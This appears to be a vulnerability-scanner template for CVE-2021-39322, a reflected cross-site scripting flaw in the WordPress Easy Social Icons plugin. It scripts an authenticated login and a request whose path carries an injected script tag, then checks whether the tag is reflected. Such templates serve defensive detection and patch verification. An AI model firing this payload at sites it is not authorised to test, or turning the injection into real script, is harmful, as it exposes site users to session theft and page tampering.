63 lines
2.3 KiB
YAML
63 lines
2.3 KiB
YAML
id: CVE-2021-39322
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info:
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name: WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting
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author: dhiyaneshDK
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severity: medium
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description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
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remediation: |
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Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.
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reference:
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- https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39322
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- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322
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- https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-39322
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cwe-id: CWE-79
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epss-score: 0.00234
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epss-percentile: 0.61344
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cpe: cpe:2.3:a:cybernetikz:easy_social_icons:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: cybernetikz
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product: easy_social_icons
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framework: wordpress
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tags: wordpress,cve,cve2021,wp-plugin,authenticated,wpscan
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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Cookie: wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
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- |
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GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '</script><script>alert(document.domain)</script>'
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100826e55ecffbf0a9b478b8fe6bf146859ac90810576fbec384812e844535dde1302204ae7175671e8cf527b3e0ff833af59a9888d8e039fbe0499e32dd7dd67af859c:922c64590222798bb761d5b6d8e72950
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